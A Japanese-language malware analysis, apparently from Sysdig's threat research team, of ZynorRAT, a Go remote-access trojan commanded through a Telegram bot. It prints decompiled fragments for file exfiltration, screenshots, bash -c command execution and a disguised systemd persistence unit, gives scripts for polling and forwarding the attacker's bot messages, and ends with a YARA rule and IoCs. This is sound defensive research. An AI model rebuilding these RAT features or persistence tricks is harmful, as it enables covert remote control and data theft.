
はじめに
最近の脅威ハンティング演習の中で、Sysdig Threat Research Team(TRT)は、私たちが ZynorRAT と名付けた新しいサンプルを特定しました。これは Go ベースのリモートアクセス型トロイの木馬(RAT)であり、Linux と Windows の両方に対して、カスタムのコマンド&コントロール(C2)機能一式を提供します。
ZynorRAT は 2025 年 7 月 8 日に初めて VirusTotal に提出され、既知の他のマルウェアファミリとの顕著な類似性はありません。VirusTotal への複数回のアップロードにおいて検出数が低下していることから、開発者が ZynorRAT マルウェアをより検知されにくくするために積極的に取り組んでいると私たちは確信しています。Telegram を用いてボットネットを制御することで管理が簡素化され、作者は行動を自動化できます。Telegram のチャット、ネットワークログ、リバースエンジニアリング中に発見された文字列、そして VirusTotal のテレメトリに基づき、TRT は ZynorRAT がトルコ起源であると高い確度で判断しています。
マルウェアに関連する Telegram チャンネルを監視することで、私たちはマルウェアの開発状況を観測でき、作者の目的が完成後に販売することにあると推測しています。ZynorRAT をより深く理解するために、私たちはその機能を分析し、アトリビューション(帰属)を検討し、検知と侵害指標(IoC)を提示しました。以下で完全な技術分析をご覧ください。
Linux 向け ZynorRAT
ZynorRAT は Go で開発され、攻撃者に複数の機能を提供します。主な目的は、収集・持ち出し(エクスフィルトレーション)・リモートアクセスのツールとして機能することであり、Telegram ボットを通じて中央管理されます。Telegram は主要な C2 インフラとして機能し、マルウェアは被害者マシンに展開された後、そこから追加のコマンドを受け取ります。
VirusTotal 上でこのマルウェアの複数のインスタンスを確認しました。最初は 2025 年 7 月 8 日に「zynor」という名前でアップロードされ、66 社中 22 社のセキュリティベンダーのみが悪性としてフラグを立てました。その後 2 日後の 7 月 10 日に再アップロードされ、悪性スコアはさらに低下し、66 社中 16 社のみが検出しました。これは、開発者が ZynorRAT をより検知されにくくするために改良していることを示している可能性が高いです。
技術分析
私たちが分析したバイナリ(SHA256 bceccc566fe3ae3675f7e20100f979eaf2053d9a4f3a3619a550a496a4268ef5)は、Go で x86-64 向けにコンパイルされた ELF 64 ビット実行ファイルです。このバイナリはパックもストリップもされておらず、機能の大部分、シンボル、アーティファクトが平文で含まれています。サイズは約 10MB とかなり大きいですが、Go でコンパイルされた実行ファイルとしては想定内です。
リバースエンジニアリングに radare2 を使用することで、以下に示すとおり、マルウェアの主要な関数とそれらのラッパー関数を特定できました。これは逆コンパイル段階の良い出発点となり、そこで ZynorRAT の内部動作に関する重要な詳細を明らかにしました。
私たちが分析した Linux サンプル 7 件すべて(IoC セクションに掲載)において、関数とそのロジックは変更されていませんでした。
このマルウェアは RAT であり、被害者マシンに侵入すると、Telegram ボットを介してリモート攻撃者から要求された操作を実行します。これによりボットは C2 スイートとして機能します。現時点でマルウェアは、ファイルの持ち出し、システム列挙、スクリーンショット取得、systemd サービスによる永続化、任意コマンド実行など、複数の機能をサポートしています。
攻撃者とボットのチャットから、攻撃者が被害者マシンにコマンドを送信すると、被害者は同じ分内にコマンド結果を返すことが確認できました。ハードコードされたコマンドに該当しないものは、送信された文字列の先頭に「bash -c」を付与して bash コマンドとして実行されます。
探索(Discovery)
C2 から受信した /fs_list コマンドにより呼び出される関数 handleListDirectory は、被害者マシン上のディレクトリを列挙し、その結果をログに記録して Telegram ボットへ送信します。各エントリ名は改行 (\n) と連結され、必要に応じて runtime.growslice 呼び出しにより文字列が動的に拡張されます。
ボットから受信した /metrics コマンドにより呼び出される関数 handleMetrics は、システムの列挙とプロファイリングを実行します。まずドメイン「api.ipify.org」へ HTTP リクエストを行い、被害者マシンの IP アドレスを取得します。また、ホスト名と現在のユーザーも列挙します。
os.hostname();
os/user.Current();
net/http.(*Client).Get((http.Client *)net/http.DefaultClient,"https://api.ipify.org",0x15);
関数 handleListProcesses は、C2 から /proc_list コマンドを受信すると呼び出され、os.exec 関数を使用して被害者マシン上で ps コマンドを実行します。結果を連結して C2 に送り返します。
os/exec.Command("ps",2,&local_18,1,1);
os/exec.(*Cmd).CombinedOutput(this);
fmt.Sprintf(&DAT_007cd3eb,0x21,&local_28,1,1);
main.sendMessage(extraout_RAX_00,0x21);
...
runtime.concatstring2(0,&DAT_007cb8dc,0x1e,extraout_RAX,2);
main.sendMessage(extraout_RAX_01,&DAT_007cb8dc);
持ち出し(Exfiltration)
/fs_get コマンドにより呼び出される関数 handleGetFile は、C2 からのファイル要求を処理します。ファイルが存在するか、アクセス可能かを確認するための複数の検証ステップが含まれており、そうでない場合はエラーをログに記録して C2 に送り返します。要求されたファイルが見つかった場合、この関数は最終的にファイルを持ち出す役割を担う sendDocument 関数を呼び出します。これは、Telegram ボットへファイルを送り返す最終 HTTP リクエストの一部として、ファイル内容(バイト列)を含むバッファを準備することで実行されます。
/* Name: main.sendDocument
Start: 006bc8a0
End: 006bd240 */
void main.sendDocument(undefined8 param_1,long param_2,undefined8 param_3,undefined8 param_4)
{
...
os.OpenFile(param_1,local_e8,0,0);
/* D:/halil/lrat/main.go:391 */return;
}
...
mime/multipart.(*Writer).WriteField(this,"chat_id",7,extraout_RAX_05,2);
/* D:/halil/lrat/main.go:403 */ mime/multipart.(*Writer).WriteField
(this,"caption",7,uStack0000000000000018,uStack0000000000000020);
mime/multipart.(*Writer).CreateFormFile(this,"document",8,extraout_RAX_06,lVar1);
puVar4 = go:itab.*os.File,io.Reader;
io.copyBuffer(extraout_RAX_07,"document",go:itab.*os.File,io.Reader,extraout_RAX,0,0,0);
...
return;
}
C2 から /capture_display コマンドを受信すると呼び出される関数 handleScreenshot は、無害なオープンソースツール screenshot を実装しています。アクティブなディスプレイ数を列挙し、その内容をキャプチャし、PNG コンテンツをエンコードした形に変換して Telegram ボットへ送信することで、実質的にデスクトップ画面を取得します。
github.com/kbinani/screenshot.NumActiveDisplays();
github.com/kbinani/screenshot.GetDisplayBounds(lVar2);
github.com/kbinani/screenshot.Capture(0,0,lVar3,lVar4);
os.CreateTemp(0,0,&DAT_007c49ad,0x10);
runtime.newobject(&datatype.Struct.png.Encoder);
image/png.(*Encoder).Encode (this,go:itab.*os.File,io.Writer,extraout_RAX_02,go:itab.*image.RGBA,image.Image,
extraout_RAX_01);
main.sendMessage(extraout_RAX_04,0x1f);
os.(*file).close((os.file *)*extraout_RAX_02);
main.sendDocument(*(undefined8 *)(*extraout_RAX_02 + 0x38),
以下に示すとおり、攻撃者とボットの Telegram チャットを調査する中で、攻撃者がこの関数を呼び出している証拠を確認しました。
ユーザー「134errors」が /capture_display コマンドを送信すると、ボットは直ちに被害者のデスクトップのスクリーンショットを送り返しました。
永続化(Persistence)
ZynorRAT は systemd のユーザーサービスを悪用して永続化メカニズムを実装しています。systemd では「~/.config/systemd/user」配下にユーザー固有のサービス定義ファイルを置けますが、これは一般的にはあまり見られません。具体的には、パス ~/.config/systemd/user/system-audio-manager.service にサービスファイルを作成し、以下を含めます。
[Unit]
Description=System Audio Core Service
After=network.target
[Service]
ExecStart=/home/user/.local/bin/audio
Restart=always
RestartSec=10
[Install]
WantedBy=default.target
新しいサービスファイルは、次を実行して読み込みます。
systemctl --user daemon-reload
影響(Impact)
このツールは、C2 からコマンド /proc_kill を受信すると、被害者マシン上で実行中のプロセスを終了できます。対象プロセスの PID とともに kill コマンドを実行します。PID は、前述の handleListProcess 関数が実行中プロセスの一覧を返すため、把握できている可能性があります。kill 操作の結果はログに記録され、通知として C2 に送り返されます。
os/exec.Command("kill",4,&local_28,2,2);
os/exec.(*Cmd).Run(this);
main.sendMessage(extraout_RAX_00,0x22);
シェル実行
C2 からまだコマンドを受信していない場合、このマルウェアのフォールバックかつデフォルトの挙動は、C2 から送られてきたものをマシン上でコマンドとして実行することです。マルウェアが受信した攻撃者の入力が上記のコマンド命令のいずれにも一致しない場合、その入力自体が解析され、デフォルトで bash -c <command>. として実行されます。
これは実質的に攻撃者のためのコマンド実行機能として動作し、被害者マシン上でリモートコード実行を可能にします。
handleShellCommand
local_48 = "-c";
os/exec.Command("bash",4,&local_48,2,2);
os/exec.(*Cmd).CombinedOutput(this);
Telegram チャットの調査中に、この関数が使用されている証拠を確認しました。あるケースでは、攻撃者が被害者マシン上で実行するために sudo su コマンドを送信しました。ボットは直ちにコマンドを実行し、ログメッセージを返しました。
Windows 向け ZynorRAT
ZynorRAT の Windows 版も Go でコンパイルされており、Linux 版と同一です。同じ関数が存在し、Telegram ボット情報も含まれています。
このマルウェアのバージョンは Windows 向けに適応されていません。Windows 実行ファイルとしてコンパイルされているにもかかわらず、systemd コマンドや .config パスを用いた Linux 専用の永続化ロジックを実行します。
マルウェア開発者が VirusTotal の検出能力を確認しようとしており、ZynorRAT の Windows 版はまだ十分に開発されていないと考えるのが妥当です。
Telegram C2
私たちは Tosint を使用して Telegram ボット情報を抽出できました。
Telegram 上でユーザー「lraterrorsbot」として活動する、「lrat」という専用ボットを発見しました。
ZynorRAT ボットとのファイル通信は VirusTotal で追跡できます。
逆コンパイルしたバイナリから chat_id の値を完全には取得できなかったため、以下の Python スクリプトを用いてボットに更新をポーリングしました。
import requests
import time
# === CONFIG ===
BOT_TOKEN = '<attacker_token>'API_URL = f'https://api.telegram.org/bot{BOT_TOKEN}/getUpdates'TIMEOUT = 60 # seconds
POLL_INTERVAL = 1 # delay
# === STATE ===
last_update_id = None
print("Starting Telegram long-polling...")
while True:
try:
params = {
'timeout': TIMEOUT,
}
if last_update_id is not None:
params['offset'] = last_update_id + 1
response = requests.get(API_URL, params=params, timeout=TIMEOUT + 5)
result = response.json()
if result.get("ok") and result.get("result"):
for update in result["result"]:
update_id = update["update_id"]
print(f"[+] New update: {update}")
last_update_id = update_id
else:
time.sleep(POLL_INTERVAL)
except Exception as e:
print(f"[!] Error: {e}")
time.sleep(5)
スクリプトを 10 日以上動かし続けたところ、ついに攻撃者のチャットから更新を受信し、その ID とボットに送られたテキスト「ip」と「id」が明らかになりました。
チャット ID を取得できたため、次に簡単な Bash スクリプトを作成し、攻撃者とボットのチャットにおける過去メッセージをすべて、会話を記録するスクリプトへ転送できるようにしました。
bot_token="<attacker's bot token>" # Bot token
from_chat_id="<attacker's chat id>" # Attacker's chat ID
to_chat_id="<our chat id>" # Our chat ID with the bot
for message_id in $(seq 1 1000); do
curl -s -X POST "https://api.telegram.org/bot${bot_token}/forwardMessage" \
-H "Content-Type: application/json" \
-d "{\"from_chat_id\":\"${from_chat_id}\",\"chat_id\":\"${to_chat_id}\",\"message_id\":${message_id}}"
done
攻撃者のチャットからは、侵害の十分な証拠、実行されたコマンド、そして前の例で示したように被害者ホストから取得された多数のスクリーンショットが明らかになりました。
また、攻撃者が実行ファイルを配布するために、ファイル共有サービス Dosya.co を使用していることも判明しました。
画像に示すとおり、執筆時点でも実行ファイル zynor は当該サイト上にホストされたままです。
さらに、マルウェアが開発初期段階にあるようだということも確認しました。おそらく攻撃者自身のテストマシンからのスクリーンショットが多数あり、攻撃者が VSCode と go run コマンドを使って RAT をコンパイルして実行し、機能が実際に動作するかを確認するために /capture_display などのコマンドをさらに実行している様子が示されています。
ボットは侵入先マシンに関する情報を報告しており、以下に示す例に基づいて、私たちは Telegram メッセージから次の IP アドレスを抽出できました。
|
IP アドレス |
ASN |
ISP |
|
34.139.81.65 |
AS396982 |
Google LLC |
|
176.88.126.219 |
AS34984 |
Superonline Iletisim Hizmetleri A.S. |
|
35.190.164.155 |
AS396982 |
Google LLC |
|
107.167.160.16 |
AS396982 |
Google LLC |
|
185.171.76.209 |
AS62336 |
PURtel.com GmbH |
|
154.61.71.50 |
AS174 |
Cogent Communications |
|
136.144.33.66 |
AS206092 |
Internet Utilities Europe and Asia Limited |
|
136.144.33.64 |
AS206092 |
Internet Utilities Europe and Asia Limited |
|
176.238.224.71 |
AS16135 |
Turkcell A.S. |
|
20.99.160.173 |
AS8075 |
Microsoft Corporation |
|
35.203.161.183 |
AS396982 |
Google LLC |
|
35.238.198.203 |
AS396982 |
Google LLC |
|
199.203.206.147 |
AS1680 |
Cellcom Fixed Line Communication L.P |
|
194.154.78.140 |
AS3216 |
PJSC “Vimpelcom” |
|
79.104.209.186 |
AS3216 |
PJSC “Vimpelcom” |
|
213.33.190.106 |
AS3216 |
PJSC “Vimpelcom” |
|
40.80.158.10 |
AS8075 |
Microsoft Corporation |
|
213.33.190.139 |
AS3216 |
PJSC “Vimpelcom” |
|
194.154.78.108 |
AS3216 |
PJSC “Vimpelcom” |
|
79.104.209.92 |
AS3216 |
PJSC “Vimpelcom” |
|
64.124.77.153 |
AS6461 |
Zayo Bandwidth |
|
195.74.76.223 |
AS198605 |
Gen Digital dba as Avast |
|
140.228.21.191 |
AS174 |
Cogent Communications |
|
87.166.58.36 |
AS3320 |
Deutsche Telekom AG |
|
138.199.28.251 |
AS212238 |
Datacamp Limited |
|
107.167.163.178 |
AS396982 |
Google LLC |
|
34.171.15.117 |
AS396982 |
Google LLC |
|
178.244.44.146 |
AS16135 |
Turkcell A.S. |
|
35.186.88.97 |
AS396982 |
Google LLC |
|
34.133.16.226 |
AS396982 |
Google LLC |
|
104.196.52.179 |
AS396982 |
Google LLC |
|
35.223.219.31 |
AS396982 |
Google LLC |
|
34.45.247.65 |
AS396982 |
Google LLC |
|
34.61.57.114 |
AS396982 |
Google LLC |
|
194.154.78.146 |
AS3216 |
PJSC “Vimpelcom” |
|
213.33.190.152 |
AS3216 |
PJSC “Vimpelcom” |
|
195.68.142.27 |
AS3216 |
PJSC “Vimpelcom” |
|
213.33.190.191 |
AS3216 |
PJSC “Vimpelcom” |
|
194.154.78.215 |
AS3216 |
PJSC “Vimpelcom” |
|
195.68.142.8 |
AS3216 |
PJSC “Vimpelcom” |
|
79.104.209.215 |
AS3216 |
PJSC “Vimpelcom” |
|
79.104.209.144 |
AS3216 |
PJSC “Vimpelcom” |
|
79.104.209.84 |
AS3216 |
PJSC “Vimpelcom” |
|
194.154.78.212 |
AS3216 |
PJSC “Vimpelcom” |
|
194.154.78.207 |
AS3216 |
PJSC “Vimpelcom” |
|
185.244.192.175 |
AS197540 |
netcup GmbH |
|
93.216.69.15 |
AS3320 |
Deutsche Telekom AG |
|
217.131.107.38 |
AS34984 |
Superonline Iletisim Hizmetleri A.S. |
|
35.186.22.151 |
AS396982 |
Google LLC |
|
34.27.187.90 |
AS396982 |
Google LLC |
|
77.37.103.74 |
AS62336 |
PURtel.com GmbH |
|
24.99.144.70 |
AS7922 |
Comcast Cable Communications, LLC |
|
195.239.51.34 |
AS3216 |
PJSC “Vimpelcom” |
|
102.129.152.199 |
AS174 |
Cogent Communications |
|
185.93.40.66 |
AS35526 |
Smart Technology LLC |
|
198.44.129.137 |
AS11878 |
tzulo, inc. |
|
18.217.255.5 |
AS16509 |
Amazon.com, Inc. |
|
18.119.9.54 |
AS16509 |
Amazon.com, Inc. |
|
18.224.19.240 |
AS16509 |
Amazon.com, Inc. |
その相当数がクラウドプロバイダーに属していることから、攻撃者は 7 月 9 日頃に、実際には被害者マシンではないクラウドインスタンスへインストールしてマルウェアのテストを開始したと考えるのが妥当です。この場合、Amazon の IP の一部に対して逆引き IP ルックアップを試すと、EC2 インスタンスにマッピングされることが判明しました。
また、トルコの IP アドレスの一部は攻撃者に属していると考えるのも妥当です。ただし、抽出した IP の一部が潜在的な被害者に属している可能性も否定できません。
アトリビューション(帰属)
分析の大半において、「halil」という名前が逆コンパイルしたバイナリ内に複数回登場し、その後、Telegram 経由で取得した攻撃者マシンのスクリーンショットにも現れました。攻撃者の名前またはニックネームが「halil」であり、この RAT は単独の個人による(開発中の)作品である可能性が高いと考えられます。開発初期段階にあるこのマルウェアは、地下市場で販売され始める可能性があると私たちは予測しています。
これは珍しいことではなく、比較的スキルのある悪意あるアクターが、自ら悪性活動を行うのではなく、他者に販売することのみを目的としてマルウェアを開発するケースがあります。例えば、以下は 2025 年 1 月に地下フォーラムで販売され、ThreatMon が X で報告した類似マルウェア「SilentEye」のスクリーンショットです。
このマルウェアが地下フォーラムで積極的に販売されているという証拠は見つかっていません。攻撃者が開発初期段階にあると私たちは考えているため、ZynorRAT はまだ公にリリースされていない可能性が高いです。
検知
Sysdig Secure のお客様は、以下のルールにより ZynorRAT の脅威から保護されています。攻撃者が実行するコマンドに応じて、永続化コマンドなど追加の脅威検知もトリガーされます。
- 偵察サービスに対する DNS ルックアップを検知(Sysdig Runtime Notable Events)
- 疑わしいドメインに対する DNS ルックアップを検知(Sysdig Runtime Notable Events)
- MAL_ZYNOR Yara ルール(Malware Detection policy)
rule MAL_ZYNOR {
meta:
md5 = "7422122eec7cfb3ec44737607d3ff5d2" description = "Detects ZynorRAT" author = "Sysdig TRT" date = "2025-08-04" tags = "zynor, ELF" reference = "Internal Research" version = "1.0"strings:
$s1 = "main.handleShellCommand" $s2 = "main.handlePersistence" $s3 = "https://api.telegram.org/bot%s/sendMessage?chat_id=%d&text=%s" ascii
$s4 = "https://api.telegram.org/bot%s/sendDocument" ascii
condition:
uint32(0) == 0x464c457f and
1of ($s1, $s2) and
1of ($s3, $s4)
}
結論
マルウェアのエコシステムには RAT が不足しているわけではありませんが、それでもマルウェア開発者はゼロから RAT を作ることに時間を割き続けています。ZynorRAT は Go で開発された新規の悪性アクセス型トロイの木馬であり、統合された Telegram ボットから取得できた多数のテスト用スクリーンショットやコマンドが示すとおり、まだ開発初期段階にあります。ZynorRAT のカスタマイズ性と自動化された制御は、現代マルウェアの高度化が、初期段階においてさえ進んでいることを示しています。
私たちは高い確度で、このツールが近いうちに地下市場(フォーラムまたは Telegram)に出回ると評価しています。そこでは悪性ソフトウェアの販売が一般的です。ZynorRAT は、ファイルの持ち出し、偵察と探索、永続化、被害者マシン上でのリモートコード実行など、複数の重要な機能を提供します。マルウェア作者は到達範囲を広げるために、Windows 版の開発を継続すると私たちは予測しています。
ランタイム脅威検知は、これらの種類の脅威を検知するための多層防御戦略において引き続き重要です。Linux は脅威アクターからの標的となる傾向が強まっており、利用可能なツールの数も増え続けています。
付録
ZynorRAT が使用するコマンド
|
コマンド一致 |
呼び出されるハンドラー |
挙動の説明 |
|
/help |
main.sendMessage |
ヘルプメッセージを表示 |
|
/fs_get |
main.handleGetFile |
ファイルの持ち出し |
|
/fs_list |
main.handleListDirectory |
ディレクトリ内容を一覧表示 |
|
/metrics |
main.handleMetrics |
システムメトリクスを収集 |
|
/persistence |
main.handlePersistence |
永続化を確立(例:自動起動) |
|
/proc_kill |
main.handleKillProcess |
プロセスを終了 |
|
/proc_list |
main.handleListProcesses |
実行中プロセスを一覧表示 |
|
/capture_display |
main.handleScreenshot |
スクリーンショットを取得 |
|
その他すべて |
main.handleShellCommand |
任意のシェルコマンドを実行 |
IoC
Windows
- 037e5fe028a60604523b840794d06c8f70a9c523a832a97ecaaccd9f419e364a
- 47338da15a35c49bcd3989125df5b082eef64ba646bb7a2db1565bb413b69323
- c890c6e6b7cc6984cd9d9061d285d814841e0b8136286e6fd943013260eb8461
Linux
- 237a40e522f2f1e6c71415997766b4b23f1526e2f141d68ff334de3ff5b0c89f
- 48c2a8453feea72f8d9bfb9c2731d811e7c300f3e1935bddd7188324aab7d30d
- 4cd270b49c8d5c31560ef94dc0bee2c7927d6f3e77173f660e2f3106ae7131c3
- a6c450f9abff8a22445ba539c21b24508dd326522df525977e14ec17e11f7d65
- bceccc566fe3ae3675f7e20100f979eaf2053d9a4f3a3619a550a496a4268ef5
- 8b09ba6e006718371486b3655588b438ade953beecf221af38160cbe6fedd40a
- f9eb2a54e500b3ce42950fb75af30955180360c978c00d081ea561c86e54262d
ドメイン
- api.telegram.org















